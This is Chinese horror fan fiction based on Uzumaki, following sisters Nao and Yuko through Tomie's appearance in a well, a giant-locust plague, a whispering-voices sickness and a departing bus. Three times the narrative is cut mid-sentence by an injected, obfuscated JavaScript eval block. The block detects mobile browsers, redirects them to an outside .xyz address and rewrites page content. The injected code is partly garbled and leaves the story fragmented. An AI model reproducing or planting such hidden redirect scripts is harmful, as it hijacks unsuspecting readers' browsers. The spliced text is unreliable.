《[伊藤润二漩涡同人]千鱼镇》 1. 井底 微冷的空气擦过奈绪的脸,奈绪看着远方一轮血红的落日,第一次感到了秋天到来的寒冷。 “奈绪!快把水打上来,明天早上用!” 姐姐由子掀开了窗帘,冲她喊。 姐姐在二楼的窗户边靠着,声音很大,奈绪真想丢下木桶捂住耳朵。 她伶俐地回嘴:“姐姐,你太吵啦——你的嘴是喇叭做的吗?” 姐姐一下子将窗帘拉开,秀美的脸上满溢着怒气,眉毛高高扬起。 奈绪缩了缩脖子,听见姐姐大叫:“你再这样我就不借你——” 爸爸刚好走过,姐姐适时闭了嘴,重新将窗帘拉上。 奈绪知道姐姐没说完的半句话: 再这样我就不借你作业抄了! 奈绪学习不好,这下可捏紧了她的把柄,她只好弯下腰打水。 奈绪和姐姐都上了高三,两人在同一个班,奈绪还有个弟弟叫中村,刚上了高一。 他们居住的地方是两层小木楼,父母都是普通的手艺人,母亲是裁缝,父亲是装修工,家境并不算很富裕,但也够供养他们上学。 他们居住的地方是一片广阔无垠的原野,居住在这里的人都归属于同一个镇子,叫千鱼镇。 他们住的位置是镇子的边缘,从山坡上向下眺望,可以看到一片密密麻麻的小房子,它们盘踞在田野的底部。 医院,民宿等日常设施都在镇子中心,唯一通的一班公交贯穿了镇子,也是少数能出镇子的交通工具之一。 上学的路在原野中,沿着原野一路往东边走,会经过一大片花田。 现在的季节,郁金香还没有开放,但波斯菊开得很茂盛,粉红色的花朵摇曳着,花瓣一朵朵绽开,奈绪很喜欢。 奈绪将视线从远处的花田中收回来,她身材瘦弱,费了好大力气才将木桶提上来,哗啦一下倒进水缸里。 每天打水是她们三姐弟每天晚上都要做的事情,但姐姐由子懒惰得很,便将这份活计交给了奈绪。 奈绪又因为每天要抄她的作业,只得帮姐姐每天打水。 水缸终于满了,奈绪抬头看看天空,天空也快黑了,血红的太阳失去了光彩,只剩下一点橘红色的光晕照耀着大地。 奈绪提着半桶水,正想倒进去,手却被勾了一下。 她费力倒完水后,捏着东西到灯光下查看。 “什么啊,就是一根头发而已。” 奈绪不高兴地瞥了眼头发,“肯定是姐姐掉的。家里只有她是长发。” 不对。 姐姐是长发没错,可她从不打水,也不靠近井边。 奈绪将头发看了又看,长发乌黑油亮,发质很好,长度及腰。 “什么嘛。” 她将头发随手一扔,拎着木桶边进门。 乌黑的长发轻飘飘落到地上,在奈绪关上门的瞬间,蠕动了一下。 长发像活了一样,钻过草皮与土壤,往井的方向钻去。 “妈,最近有别人来家里做客吗?”奈绪问了一句。 “没有啊,怎么了?” 奈绪哦了一声:“没什么。” 吃饱放下筷子,奈绪就上了二楼。 她和姐姐共住一间屋子,一人一张床,两人共用一张大书桌,因为奈绪学习不好,所以一般只有抄作业的时候才用。 姐姐正窝在床上玩手机,奈绪笑着扑过去,挠她痒痒。 两姐妹滚成一团,又笑又骂,半晌才歇。 “姐姐,老规矩,帮你打水,你的作业呢?” 由子推了下鼻子上的眼镜,抬起下巴指了指桌子:“早写好了,奈绪,咱们都上高三了,你也该多学习一会了。” 奈绪冲她吐了吐舌头:“我要是认真学习,谁帮你打水啊?” 由子搬起枕头砸她,被奈绪一把抓住,笑着扔还给她。 坐下,摊开作业本,姐姐的字写得工整,奈绪看着自己那一手潦草的字迹,并不觉得羞愧,下笔如风,抄得飞快。 可今日的作业实在有点多,她手腕酸痛,抄了一半就坐在椅子上左顾右盼。 “啧啧啧,抄作业都不认真啊。”姐姐取笑她,奈绪回瞪一眼,又提起笔来。 看着堆积的作业,奈绪有些胸闷,她干脆将窗帘一把拉开。 外面一片漆黑,依稀能看到点光亮,窗户开了一条小缝,有花朵的香气顺着窗缝飘进来,香气怡人。 奈绪忽然看见一楼的井边,有什么东西动了一下,像是……像是井中伸出的海草? “喂,由子。” “干嘛?” “你过来看看。” “看什么?” “你过来嘛!” 奈绪撒娇,姐姐终于放下了手机,慢腾腾凑过来。 奈绪指了指水井:“你看,那里面是不是有东西在动?” 由子眯起眼睛,她的眼镜度数很深,只能看到井中一个模模糊糊的影子。 “看着有点像……水草?”由子终于说。 “咱们的井中怎么会有水草嘛!我们下去看看!” 奈绪拉着由子一起跑下去,两个女孩有些谨慎,各自握了一个铁铲。 奈绪胆子大些,凑近了井边,想起了今天打水时那根黑色的长发,她心中有些异样,手紧紧握着铲子。 “水草”还在动着,她慢慢靠近,大着胆子用手抓,触感滑腻而奇怪。 手掌上抓的东西丝丝分明,她吓得一跳,丢开铲子。 “头……头发!” “头发?”由子大叫一声,急忙往屋内冲去,拿了一个手电筒出来。 灯光将井边照得极亮,她们终于看清了井中的东西: 井水不知为何,竟从数米深的地下上涌到了井口,一个浑身光裸的女子,长发飘飘,被水推出来井面。 井水时而上涌,时而下沉,她的头发也随着起伏的井水而上下波动着,像是被海浪冲刷的海藻。 两人都被吓得面色惨白,奈绪动了动嘴唇,尖声大叫起来:“爸爸——爸爸——” 听到女儿凄厉的叫喊,父母都跑了出来,甚至连平时不怎么出现的弟弟,也拖了一只拖鞋,跑到井边。 看清井上起伏的人形时,父母的脸色都不太好,他们互相对视了一下,将由子和奈绪架到一边。 “这个女的,从哪里来的?” 由子无力地摇摇头。 爸爸试探着伸出手,抓住了女子的一条胳膊,“老婆,快来帮我,我们把这个女的拉出来!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977551|161409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈妈的腿有些发抖,硬着头皮上前,忽然侧过脸对中村说:“看什么?快回去!” 中村哦了一声,踢着一只拖鞋回房间去了。 妈妈脱下外套披在女子身上,和爸爸两个人一起,用尽浑身力气将女子往外拉。 借着上浮的井水,他们终于将女子拉出了井。 女子躺在草地上,大半张脸被头发遮住,奈绪的母亲将女子的头发拨开,女子的容貌让他们都倒吸一口凉气。 一个极其美丽的女子,发如墨染,嘴唇饱满如同枝头初绽的花瓣,脸颊光滑,鼻子小巧挺拔,眼睛很大,眼下点了颗泪痣,睫毛纤长。 即便是在这样凌乱的情况下,女子的脸上仍是一副气定神闲的样子,生得优雅与从容,眼尾略微扬起,带了些傲气与魅惑。 奈绪将手指伸到女子的鼻子前,感知到了一点微弱的呼吸。 “她还活着!” 几个人七手八脚将女子抬进房中,妈妈给女子换上了一套衣服,女子手脚冰凉,在室温下才逐渐变得温暖。 一小时后,女子缓缓睁开了眼睛。 “你是谁?”奈绪问。 女子傲娇如猫咪的眼睛环视了四周,灯光透过她纤长的睫毛,在她的脸上投下一小片精致的暗影。 “富江。” “富江?你怎么会出现在我家的井里?” 自称富江的女子摇了摇头,“我也不知道,我似乎……可以出现在任何地方。” 富江站起身来,往门外走去,被妈妈拦住:“富江……小姐,外面这么偏僻,你……你在我们这里住一晚上再走吧。你要去哪里?” “这里是哪里?”富江扭头问。 “千鱼镇。” 富江没有说出要去的地方,她转过身打量着房子,哼了一句:“这么个破地方,你们趁早离开吧。” 说完,富江便抖了抖衣服,将一头长发拨到身前。 她发出一声尖利的笑,直笑得几人毛骨悚然,后背一阵一阵发冷。 奈绪上前拉住富江的手:“怎么回事?你……你好歹给个交代?你突然出现又这样突然离开,实在是太诡异了。” “诡异的东西还多着呢。”富江轻飘飘说了一句。 奈绪疑惑不解,富江却已经打开了门,奈绪跟着追出门来,看见富江正往镇子走去。 奈绪追上去喊:“你要做什么?” 富江没说话。 “你要离开镇子吗?” 奈绪追了上去,跟在富江身边。 “你如果想坐公交离开镇子,当然是可以的,可是镇子只有一趟公交,在早上八点。” 富江还在向前走着,奈绪站到她面前,强势地挡住她的去路。 “我说,公交每天只有一路,你现在身无分文,怎么上车离开?” 富江歪了歪头,绝美的脸上流露出些许好奇。 奈绪急忙伸手掏口袋,终于掏出一张皱巴巴的纸币,塞在富江手中。 “看你笨的,来,用这个。” 富江眼中闪过迷茫,将纸币攥在手中,她轻轻点了一下头,随后大步迈开,顺着田野往小镇走去。 夜色之中,富江的身影很快变得模糊不清,只有波斯菊的香气依然满溢在鼻腔。 2. 蝗虫 艳阳天。 清早,天气就已经有点闷热,明明已经是秋季的末尾,奈绪还是穿着一双凉鞋,一件简单的t恤衫。 背着书包,姐姐已经在玄关处喊她:“奈绪,奈绪——快走啦,要迟到了——” 奈绪应了一声,回头看了一眼弟弟,问:“你不担心迟到吗?” 中村不紧不慢:“我们高一这几天放假,只有你们高三的才需要天天去上课呢。” 奈绪不满地瞪了他一眼,走出门去。 去学校的路上会经过一大片原野,还有一片小树林。 原野上长满了郁金香,波斯菊,还有长得张牙舞爪的杂草。 杂草沿着树木攀爬,吸吮汁液,长得很高,从远处看像一个个弯着腰的人影。 奈绪路过原野时,总是会被这些参天的杂草吓到,以至于有些毛骨悚然,所以她与姐姐常常结伴同行。 有两人一起聊天,上学的路才不算难熬。 奈绪牵着由子的手,在小路上走着。 天气晴朗,前些天下过雨,被雨水浸湿的土壤已经被烈日烤干,凉鞋踩在上面会留下一个个浅灰色的脚印。 成片的杂草近些天,生长得格外旺盛,奈绪正和姐姐由子聊着学校发生的事情,忽然看向前方。 前方的道路,被一丛杂草挡住了。 “不对啊,我们不就放了三天假吗?怎么才三天,杂草就已经挡住道路了?” 奈绪有些奇怪,她从书包侧边拿出一根棒球棍,这是她们上体育课要用到的。 她挥舞起棒球棍,棍子挥到的地方,杂草被拨到一旁,露出一片空旷的空间。 “好了。”奈绪说。 两人一前一后,穿过杂草形成的空洞,奈绪的书包被杂草勾住,她硬拉来几下,杂草落了一地,有一根黏在奈绪的书包上,奈绪不以为意,手指将它弹到地上。 身后的杂草丛忽然动了动,由子拉住奈绪的手,声音发颤:“什么,什么东西在动?” 奈绪:“估计是什么野猫野狗吧。” 奈绪将杂草踢开,听到了沙沙的响声,几只蝗虫趴在草叶上咀嚼着,翅膀瓮动。 奈绪嘴角忍不住上扬:“几只蝗虫而已,姐姐你怕成这样。” 奈绪挥舞着棒球棍,展示给由子:“姐姐,在田野中的世界,这根棒球棍就是真理,力量即是一切!” 说这话的时候,奈绪的瞳孔很黑,饱满的脸颊微微泛红,一缕发丝黏在她嘴角,分外可爱。 “好啦,上学去吧。快迟到了。” 奈绪收起棍子,和姐姐一起沿着熟悉的道路往学校跑去。 终于及时到了班级。 奈绪微微喘息,将课本放好,前面的淳平已经扭过脸来,熟稔地和她搭话:“奈绪,最近友树家里的事情,你听说了吗?” 奈绪偏头:“什么事?”放假这三天,她没有出去找朋友玩,自然也不知道同学之间发生的八卦。 淳平摸了摸他那一头金黄色的头发,嘴角勾起坏笑:“他以前不是常说他家产业大,在这里有一大片草莓园吗?现在他可嚣张不了了。” “怎么了?” “他家的草莓园不知道出了什么事,一夜之间竟然全被吃光了,就剩一点烂草根。” 奈绪忍不住锤了淳平一拳:“这又不是什么好事,别幸灾乐祸了。” 淳平不高兴地撇撇嘴:“我这不是看他太嚣张嘛……” 正说着,友树走进教室。 这么热的天,友树竟然穿了一身西装,奈绪看见前方的淳平肩膀有轻微的抖动,知道他一定是在偷偷笑话友树。 友树样貌清秀,头发长得遮住了眼睛,眼睛总藏在头发后面,好像惧怕与别人交流一样,他嘴唇很薄,脸色微微发白。 友树的朋友伊藤望凑上去,伊藤望是个样貌普通的大胖子,一头自来卷,行事不拘小节。 “友树,家里怎么样了,还好吗?” 友树摇摇头,情绪低落,回到了座位上。 他后面的同学拉拉他的帽子,伸长脖子问:“友树,你不是说你家里有很多资产吗?一个草莓园应该不算什么吧。”他声音很大,整个班级都听得清楚。 友树眼神有些惊慌,嘴巴抽了抽,说道:“不算……不算什么。” 同学松开手,却在捂住嘴巴偷笑,前面的淳平也忍不住笑声。 “这个撒谎精。”淳平低声骂道。 友树总说自家在千鱼镇外面的地方开了多少有钱的公司,但同学们从没见他离开过千鱼镇一步,连他身上的西装都是早就过时的样式,几处地方开了线。 友树家里只是拥有一片不大的草莓园罢了。 老师走进教室,第一节课是数学,老师叫龙太郎,戴了个厚厚啤酒瓶一样的眼镜,额头很高,脸颊上的两条法令纹很深。摘下眼镜时,眼睛像鱼一样鼓起,因为嘴巴有些凸,说话时真的像条鱼一样。 龙太郎既是数学老师,也是班主任,是小镇上土生土长的村民,去外面的世界读了几年书后又回到这里。 龙太郎慢悠悠地开口:“最近我们的镇子上,好像出了一种什么虫子。是蝗虫吧。” 他看向友树:“友树,吃掉你家草莓园的,是蝗虫吗?” 友树脸色苍白,摇了摇头:“我也不知道,夜里我们听见一阵咔咔的声音,就起床查看,发现一大团黑影从我家屋顶飞走了,只剩下一地断茎。” 龙太郎面色流露出担忧:“这可怎么办是好,虽然政府会发一点补贴,但谁知道这些可恶的虫子还会跑去哪里?” “老师,快讲课吧,这个和我们的课程没关系。”几个好学生喊。 龙太郎无奈地摇了摇头,打开了课本:“我们今天来复习函数的单调性……” 奈绪坐在第三排,听老师的声音如同听助眠曲,很快便睡着了。 睡梦中,她听见了嗡嗡的声音,不像是蜜蜂,像翅膀的摩擦声,从她身后传来。 迷迷糊糊中,有人推了一下她的胳膊,奈绪半梦半醒之间摆摆手:“……困……” “你后面……” 她听见淳平的声音。他的声音有些发抖。 整间教室都安静下来,奈绪擦了擦眼睛,伸了个懒腰直起身子,转过身去。 身体如触电般战栗,奈绪身子一歪,连人带凳子跌倒在地,连滚带爬地跑到讲台上。 身后的嗡嗡声越来越大,逐渐充斥了她的脑子,像刀一样刮着她的耳膜。 她的椅子上挂着她的书包,随着椅子的倾倒,书包也掉在地上,半边露出,里面有什么东西,正在飞快地蠕动着! 一只上颚硬得如同刀片,眨眼间已经将书包划开一个大洞,就要冲出来! “这是什么鬼东西!”由子惊叫,伴随着几声尖叫,由子的椅子也被推翻,她的书包上,一根草枝动了一下,不过片刻,草枝上长出了一枚淡褐色的卵,比平常的虫卵要大得多,虫卵上的壳被破开,露出了一只蝗虫的幼虫。 奈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977552|161409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绪的书包也变成一堆破布,一只巨大的蝗虫钻了出来,眼睛转动着,看向奈绪。 龙太郎将奈绪护在身后,拿起桌子上的粉笔盒朝蝗虫砸去,蝗虫翅膀摩擦,瞬间飞到一旁。 奈绪推开老师,抢几步上前抽出棒球棍,对着蝗虫挥舞着,一边扭头对同学喊:“快把窗户打开!” 一声令下,窗户全被打开,奈绪鼓起勇气朝蝗虫走去,用球棒挥舞驱赶,蝗虫颤动着身子,从地上飞了起来,朝窗外飞去。 蝗虫飞出去的瞬间,奈绪调转目标,对准了姐姐书包上的这只蝗虫幼虫,球棒狠狠砸下,汁液喷出,幼虫动了几下,没有了动静。 奈绪松了一口气,一扭头便看见友树,友树躲在同学身后,指着刚刚飞走的蝗虫。 “是……是它们!就是它们吃了我们的园子!” 巨大的蝗虫让全班同学惊魂未定,他们刚刚坐在座位上没多久,便听见隔壁的教室也发出一声短促而焦急的尖叫。 龙太郎抄起一条木腿,往隔壁冲去,不多时,隔壁的窗户打开,飞出几只蝗虫。 隔壁的老师叫小百合,是个新来的女教师,个性年轻而活泼。 她安抚好同学的情绪后,便和龙太郎老师一起下了楼,查看起其他教室的学生,敦促他们检查身上有无草枝虫卵一类物品。 果不其然,在其他几间教室里又发现了几只巨大的蝗虫。 尽数剿灭后,他们上了楼,和其他几位老师一起去报告校长。 奈绪将沾了粘液的棒球棍洗干净,书包已经废了,她无奈地把书堆在书桌上。 教室里吵吵嚷嚷,同学们七嘴八舌地讨论着刚才发生的事情,龙太郎老师走进教室后拍了好一会桌子,教室才勉强安静下来。 “同学们,”龙太郎推推眼镜,法令纹更深了。 “学校决定先放假几天,等政府请来专业的除虫人员,对千鱼镇进行除虫后,我们再重新开学。” “好哎!”淳平叫道。 龙太郎忽略过淳平,接着说:“由子,奈绪,还有友树,你们三个跟我出来一趟。” “老师,怎么了?” 龙太郎拿出一副卷轴,在桌子上铺开,卷轴上用塑料封了一层,俨然就是千鱼镇的地图。 “你们三个,将自己家庭住址用红笔标在上面,并把上学路画上,方便后续捉虫队捕捉,找到虫巢。” 奈绪接过红笔,在卷轴上标出来,“老师,那我们就回家了。” “嗯,好。” 镇上有一座广播站,奈绪的爸爸正用收音机收听着广播: “千鱼镇镇长村井骏平已经于昨日通过电话向外界寻求帮助,一个捉虫队连同记者正朝千鱼镇赶来,请各位镇民在近些日子尽量采集食物,待在家中,蝗虫众多,不要出门,不要出门,不要出门!” 奈绪躲在房间里,用手机和好友打着电话,这个朋友刚上到高二就不上学了,在镇上的一家小酒馆当侍应生,叫川合爱子,这次意外的蝗虫灾难反而让奈绪想起了这位许久不联系的挚友。 “奈绪,你那边怎么样了,我现在躲在酒馆里,还好这里食物还够,除虫大概会持续几天啊……” “广播说了,等捉虫队进来,大概不过三天就结束了,捣毁虫窝就行了。” 奈绪掀起眼皮,看见二楼对面,一只巨大的蝗虫扑来,她尖叫一声,滚下床去,蝗虫撞在玻璃上,摔得支离破碎,掉了下去。 只有一片巨大的翅膀还黏在玻璃上。 3. 蝗虫 被困在家中已经三天了,家中的食物逐渐吃完,父亲与母亲走出家门,找镇长寻求帮助。 奈绪姐弟三个在家中坐了一天也没有父母的消息。 奈绪坐不下去了,穿上几件长袖长裤遮盖住裸露的皮肤,又戴了帽子保护头部。 姐姐和弟弟翻箱倒柜找出了两根棍子,奈绪还是扛着自己的棒球棍。 将门掀开一条缝,她仔细听着外面的动静,蝗虫啃咬的咔咔声几乎听不到了,她猫着腰钻出去,姐姐和弟弟跟在她身后。 天空有些昏黄,秋天的末尾,原野也是金黄的,和天空连成一片。 大地是空旷的,受伤的,蝗虫过境之处,草叶都被嚼碎,地上散落了一堆一堆零星的草沫。 大树从前茂密的枝叶也被蝗虫剪碎,光秃的树干无奈地伸向天空。 奈绪三人沿着原野,从山坡上向下走,他们要去镇上找父母,不论蝗虫多么肆虐,最重要的是保证他们的安全。 “妈——妈——”奈绪大声叫喊,将声音拉得很长。 “爸——妈——你们在哪里啊——” 直到将嗓子喊哑,奈绪也没有找到他们的下落,弟弟中村脸色有些不好,指向山坡下的小镇。 “他们可能还在镇子中没有回来。” 三人无奈地继续走着。 忽然,一棵树干晃了一下,像是有人在有规律地撞击着树干。 奈绪将姐姐和弟弟拦到身后,警惕地看着这棵树木。 树木安静了一瞬,忽然,树干被整齐锯断,一只巨大的蝗虫从内部钻出来,朝奈绪扑来。 “啊——”奈绪拿手中的棒球棍拼命挥舞着,将蝗虫击倒在地。 同时,被锯断的树干内部,接二连三飞出了一只又一只蝗虫! 奈绪倒在地上,身体麻了半边。 她手脚并用地爬起来,“跑!” 在蝗虫的追赶下,他们往小镇跑去。 姐姐由子绊了一跤,身体前倾沿着山坡便滚了下去,摔伤了脚腕再也站不起来。 中村背着由子跑,奈绪在旁边挥舞着球棒,抵挡着接踵而至的蝗虫侵扰。 几人脸上,手上都落了伤口,火辣辣地疼,蝗虫聚集得越来越多,奈绪手臂酸痛得抬不起来,手臂被蝗虫划了一道口子,正殷殷流血。 忽然,一股火焰从背后冲出,一道刺眼的火光将蝗虫逼退。 同时,奈绪闻到了一股药水的味道,淡白色的水雾从四面八方喷下来,将蝗虫包裹住。 蝗虫纷纷掉落,在药水的攻击下,它们的生命格外脆弱。 四个全副武装的队员从背后冲出,他们都穿着防护服,戴了结实的防毒面具。 其中一个人眉毛很浓,自称雄一,身旁的高个子女生叫步美,为奈绪进行了简单的包扎。 “不是说这几天不能出来吗?你们怎么还跑出来?” 奈绪将父母一整天都没有回来的事情告诉了他们,步美叹了口气: “我们几天前从外面来到这里,这几天也差不多把虫子清理干净了,还剩一点没有清理干净,现在镇长安排了几个人对剩下的部分进行查验,说不定你们父母志愿参加了。” 奈绪急忙站起身,扯住了伤口,她疼得呲牙咧嘴:“那……那我们就先找他们去了,谢谢你们。” “不用谢。”雄一摆摆手:“我们马上就要回去了,只可惜这里交通太不方便,我们还得等公交先修好再走。” 公交因为蝗虫的袭击,轮胎破损,车窗也几乎没了,镇长正在组织人员修理。 奈绪三人告别了杀虫队员,土路逐渐变成了石子路,又变成了砖石路。 当踏上平整的水泥路时,他们才真正到达了镇子。 镇子上,各家门户紧闭,街边的垃圾桶倾倒,几件路人躲避蝗虫时丢弃的东西,现在还在马路上丢着。 “先找个药店吧,把后续包扎要用的药拿好。”中村提醒。 几人搜寻着药店的下落,找到了平时常见的一家药店,铁门紧闭,奈绪拍了几下,铁门缓缓上升,露出了店长慎一郎的光头。 店长探头探脑,扯出一个僵硬的笑容,不情不愿把他们迎进去。 “你们怎么在外面晃悠?杀虫还没结束呢。” 奈绪指指由子的腿,还有自己的胳膊:“我想拿点后面会用到的药。” 店长摸了摸自己的光头,跑去库房拿药,奈绪借机问:“店长……你知道我父母去哪里了吗?他们是不是去做志愿了?” 慎一郎没好气地将药扔到柜台前:“他们现在在镇长家里,和其他一帮人正在商量呢,我可不想做这个,这帮不要命的家伙。” 将钱放在柜台上,奈绪便带着由子,中村离开,店长重新关上铁门,关到一半,忽然探出头来:“奈绪。” “嗯?”奈绪扭过头来。 “记得……记得将耳朵堵上。” “堵上耳朵?为什么?” 店长扯了扯嘴角:“这些蝗虫……好像会说话。” “说的什么倒是听不清啦,就是……就是很心烦。” “嗯,好。” 听从店长的建议,奈绪从装药的袋子里拿出几个面团,三人分别塞入耳朵,朝镇长的房子走去。 镇长的房子是一个有大铁门的漂亮小别墅,奈绪透过铁栏杆往院子里瞧,一帮人正围在那里,院子中心放了一张桌子,上面铺了镇子的地图。 班主任龙太郎也在里面,他眉毛紧紧皱在一起,眉心形成一个川字。 “怎么会……怎么会是这样呢?”他喃喃自语,“为什么虫子聚集的地方是有规律可循的呢?两横两竖交叉在一起,像个中国的‘井’字,镇子的中心正好不受虫子侵袭,难道是什么科学原理?” 他崇尚科学的脑子始终搞不明白,正暗自思索,忽然看见一只雪白的胳膊从栏杆外伸出来,晃了晃。 “老师——老师——” 奈绪大声喊,惊动了院子内热烈讨论的一帮镇民,村长头发白了些,眼睛肿着来给奈绪开门。 “是小原家的孩子吗?”村长问。 奈绪摘下棉团,点头,注意到村长眼中的红血丝。 “爸爸妈妈呢?” “他们和两位杀虫队员出去了,去西边的后山清理蝗虫,估计快要回来了。” 村长扭头看向班主任:“龙太郎,给他们打个电话问问情况,说他们孩子来找了。” 电话没有拨通,显示一直在忙线中。 村长眉头微蹙,快走几步冲到电话前,重新按下几个按键:“喂?喂?能听到吗?” 漫长的等待后,电话被接通,村长开了免提,一群人仔细听着对面的动静。 一阵诡异的安静后,出现了窃窃私语,龙太郎将头凑到电话旁,试图听清楚这窃窃私语是什么,但最后还是摇了摇头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姐妹二人蹑手蹑脚走下台阶,听见母亲崩溃的哭喊:“太智,太智,有、有东西在我脑子里,他在说话!他在说话!我什么也听不见!他在说话!” 父亲轻拍着母亲的肩膀,母亲的肩膀抖动着,正捂着脸轻轻哭泣。 父亲忽然皱起眉头,堵住耳朵:“我……我也听到了,但是听不清楚。” “爸,妈,你们怎么了?” 奈绪关切地看着他们,父亲急忙摆摆手,哄她们上去:“快上去睡觉,这都凌晨三点了。” 父亲想到了什么,问:“你们两个……能听到有东西在你们脑子里说话吗?” 由子摇头:“没有啊?” 父亲低下头,茫然地微笑着:“没有就好,你们没有就好,现在、现在快上去睡觉吧。” 在父亲连声催促几遍后,两人才往楼上走去,躺在被窝里,两姐妹都翻来覆去睡不着觉。 奈绪留神看着楼梯口的灯光。 灯光一夜未灭。 镇子里出现了一种怪病。 这种怪病只在较为年长的长辈中出现,具体表现为觉得脑子中有人在与自己对话,但又听不清楚说话内容。 脑中的窃窃私语常常持续很久,几位年长的老人因为不堪疾病的困扰,先后离去了,一些中老年人的身体也每况愈下,只能长期依靠药物治疗,入睡。 4. 永恒的公交车 下课铃声落,老师龙太郎将课本夹在腋下,朝教室外走去。 奈绪和由子急忙跟上。 “老师,老师,布美他们那一群杀虫队队员是明天要离开吗?” “对,他们的工作已经结束了。”龙太郎推了下厚厚的眼镜。 “我们能去送送他们吗?他们之前救了我们,还没来得及谢谢他们。” 龙太郎面色轻松:“行啊,明天七点四十公交站见,如果你们两个小姑娘能及时起床的话。” 奈绪心虚地瞥一眼姐姐,她们常常偷偷玩手机到半夜。 “肯定能起来!”奈绪保证。 “步美和雄一刚结婚不久,你说不定还能向她讨一点喜糖。”龙太郎微笑。 “结婚?”奈绪惊讶,难怪当时看雄一那么关照步美,原来两人是夫妻。 淳平吹着口哨走来,他一头金毛因为没有再次染发,发根已经出现了一点点黑色,扬起下巴问奈绪:“你们怎么还不回家?” 龙太郎气不打一处来,指着淳平的脑袋:“说过你多少次了,把你这一头金毛给染回黑色!” 淳平吐吐舌头,躲到一旁,悄悄问:“你们刚才在聊什么?” 奈绪:“我们想明天早上去送送步美他们。” “就那几个捉虫队的?” “嗯。” “我也去吧,他们给我家附近的除虫做的很不错。” 想起了什么,淳平对奈绪说:“你手机有信号没?借我用用。” 奈绪:“你手机不是新买的吗?怎么用不了了?” 淳平撇撇嘴:“刚才忽然不能用的,什么信号都连不到了。” 奈绪打开自己的手机,竟然也显示无信号。 心中闪过一丝异样,她喊住刚要离开的班主任:“老师,你的手机有信号吗?”她转过头:“由子,你呢?” 两人都打开手机,显示没有信号,试着拨了几个电话都拨不出。 “怎么回事?是信号站出问题了吗?” 奈绪无奈摇摇头:“不管了,先回家吧。” 第二天清晨,天气有些寒冷,鸟儿在云层间翻飞着,土地上结了一层寒霜,被蝗虫啃食过的大树依旧没有恢复,连嫩芽都未长出,只是光秃秃地站在田野间,像瘦骨嶙峋的老人。 奈绪穿了一件厚毛衣,又在脖子上围了一条粉色围巾。 哈出的一口气瞬间凉在鼻腔,她揉揉冰凉的鼻子,搓了搓手,看向身旁的由子。 她看向由子身旁的男孩,神情有些不快,低下头悄悄问:“你怎么把他给带来了?” 站在姐姐由子身旁的是姐姐谈了两年的男朋友,名叫右一,个子很高,头发遮眼,总是像鬼一样忽然出现又忽然消失,奈绪不喜欢他,可看在姐姐的面子上不得不接纳。 右一个性沉闷,不爱说话,姐姐却把这当成了忧郁美男的代表,一心沉溺于自己的想象中。 不过还好右一不爱说话,奈绪也不用费劲和他搭话。 淳平挥舞着双手从小道上跑过来,一头金发乱得像个鸡窝,脸上挤满了尴尬的笑。 奈绪看一眼手表:“我就知道你会迟到,七点五十六了,我们说好七点四十到的。” 淳平反驳:“他们八点上车,我这个时间到也不算晚。昨晚打游戏睡过了嘛。” 奈绪扭过头不看他,淳平偏要凑到她眼前,两人像陀螺一样转起圈来,奈绪笑着锤了淳平一拳,淳平才终于停下。 一群杀虫队队员从大道上走来,离八点开车只剩两分钟了。 步美是最先看见奈绪的,她高兴地迈起两条长腿跑来,揉了揉奈绪的头:“龙太郎说你们要来送我们。还说要跟我们讨喜糖吃。” 奈绪嘿嘿一笑,步美朝雄一伸出手:“给糖!” 雄一憨厚笑着,毛毛虫似的大粗眉毛舒展开,他从背包里抓出一大把糖,塞到奈绪手里。 奈绪朝由子努努嘴,由子打开书包,拿出两盒千鱼镇的特产,递给雄一。 几人简单寒暄后,公交车便赶来了。 从远处驶来的破旧的公交车,像一只隐匿在薄雾中的怪物。 一群捉虫队队员,从怪物的嘴进入了怪物的肚子,一只戴了手套的手从怪物的心脏部位伸出来,冲着奈绪挥了挥:“奈绪,以后常联系!” 步美比了个打电话的手势。 奈绪想起昨天的信号问题,有些焦急地问:“你们的电话能用吗?” “可以啊,”步美挥一挥手机:“我们的还正常。” 几分钟后,公交车便消失在大路尽头,奈绪问淳平:“为什么他们的还能用?” 淳平摇摇头,一向沉默寡言的右一脸色异常苍白,小声说:“开始了,一切都要开始了。” 公交车平稳地走着。 步美沿途看着外面的景色,树木和庄稼被蝗虫啃食了大半。 “太可惜了,我还是第一次见到那么大的蝗虫,幸好这次带的武器够多,不然还真够呛。” “这次出来挣的钱,应该够交一段时间的房屋贷款了。”雄一微笑。 “等我先给我朋友打个电话,让她在站口那里等我们。” 步美拿出手机,拨通电话,却显示不在服务区内。 “怎么回事?刚才还有信号的,怎么现在不行了?” 雄一提醒:“是不是快进隧道的原因。”他指向前方的隧道,“公交车马上就要过去,过了隧道也许就有信号了。” “希望吧。”步美放下手机。 隧道很黑,只能听见公交车碾过石子时轰隆隆的响声。 这几天除虫,给队员们都累坏了,车里很安静,步美只能听见同事们悠长或短促的呼吸声。 